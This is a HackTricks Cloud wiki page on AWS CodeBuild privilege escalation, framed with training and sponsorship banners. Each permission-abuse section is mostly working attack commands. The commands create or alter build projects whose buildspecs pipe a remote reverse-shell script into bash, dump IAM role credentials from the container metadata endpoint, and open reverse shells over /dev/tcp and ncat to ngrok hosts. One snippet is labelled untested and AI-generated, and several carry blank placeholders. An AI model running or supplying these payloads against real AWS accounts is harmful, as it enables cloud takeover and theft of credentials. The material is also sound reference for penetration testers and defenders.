# AWS - Codebuild Privesc {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## codebuild Get more info in: {% content-ref url="../aws-services/aws-codebuild-enum.md" %} [aws-codebuild-enum.md](../aws-services/aws-codebuild-enum.md) {% endcontent-ref %} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: {% tabs %} {% tab title="StartBuild" %} {% code overflow="wrap" %} ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` {% endcode %} {% endtab %} {% tab title="StartBuildBatch" %} {% code overflow="wrap" %} ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` {% endcode %} {% endtab %} {% endtabs %} **Note**: The difference between these two commands is that: * `StartBuild` triggers a single build job using a specific `buildspec.yml`. * `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). **Potential Impact:** Direct privesc to attached AWS Codebuild roles. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. {% tabs %} {% tab title="Example1" %} ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ \"name\": \"codebuild-demo-project\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"aws/codebuild/standard:1.0\", \"computeType\": \"BUILD_GENERAL1_SMALL\" }, \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" REV_PATH="/tmp/rev.json" printf "$JSON" > $REV_PATH # Create project aws codebuild create-project --cli-input-json file://$REV_PATH # Build it aws codebuild start-build --project-name codebuild-demo-project # Wait 3-4 mins until it's executed # Then you can access the logs in the console to find the AWS role token in the output # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` {% endtab %} {% tab title="Example2" %} {% code overflow="wrap" %} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: build: commands: - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml # Create a new CodeBuild project with the buildspec.yml file aws codebuild create-project --name reverse-shell-project --source type=S3,location=/buildspec.yml --artifacts type=NO_ARTIFACTS --environment computeType=BUILD_GENERAL1_SMALL,image=aws/codebuild/standard:5.0,type=LINUX_CONTAINER --service-role --timeout-in-minutes 60 # Start a build with the new project aws codebuild start-build --project-name reverse-shell-project ``` {% endcode %} {% endtab %} {% endtabs %} **Potential Impact:** Direct privesc to any AWS Codebuild role. {% hint style="warning" %} In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. {% endhint %} ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token ```bash REV_PATH="/tmp/codebuild_pwn.json" # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ \"name\": \"\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"aws/codebuild/standard:1.0\", \"computeType\": \"BUILD_GENERAL1_SMALL\" }, \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` **Potential Impact:** Direct privesc to any AWS Codebuild role. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. {% tabs %} {% tab title="StartBuild" %} {% code overflow="wrap" %} ```sh REV_PATH="/tmp/codebuild_pwn.json" # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ \"name\": \"\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", \"computeType\": \"BUILD_GENERAL1_SMALL\", \"imagePullCredentialsType\": \"CODEBUILD\" } }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! printf "$JSON" > $REV_PATH aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` {% endcode %} {% endtab %} {% tab title="StartBuildBatch" %} {% code overflow="wrap" %} ```sh REV_PATH="/tmp/codebuild_pwn.json" # Get rev shell REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ \"name\": \"project_name\", \"source\": { \"type\": \"NO_SOURCE\", \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" }, \"artifacts\": { \"type\": \"NO_ARTIFACTS\" }, \"environment\": { \"type\": \"LINUX_CONTAINER\", \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", \"computeType\": \"BUILD_GENERAL1_SMALL\", \"imagePullCredentialsType\": \"CODEBUILD\" } }" printf "$JSON" > $REV_PATH # Note how it's used a image from AWS public ECR instead from dockerhub as dockerhub rate limits CodeBuild! aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` {% endcode %} {% endtab %} {% endtabs %} **Potential Impact:** Direct privesc to attached AWS Codebuild roles. ### SSM Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. The codebuild project will need to have a breakpoint:
phases:
  pre_build:
    commands:
      - echo Entered the pre_build phase...
      - echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint
And then: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. ```bash aws s3 cp s3:///buildspec.yml ./ vim ./buildspec.yml # Add the following lines in the "phases > pre_builds > commands" section # # - apt-get install nmap -y # - ncat -e /bin/sh aws s3 cp ./buildspec.yml s3:///buildspec.yml aws codebuild start-build --project-name # Wait for the reverse shell :) ``` You can use something like this **buildspec** to get a **reverse shell**: {% code title="buildspec.yml" %} ```yaml version: 0.2 phases: build: commands: - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` {% endcode %} **Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. {% hint style="warning" %} Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload {% endhint %} More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). **Potential Impact:** Direct privesc to attached AWS Codebuild roles. {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}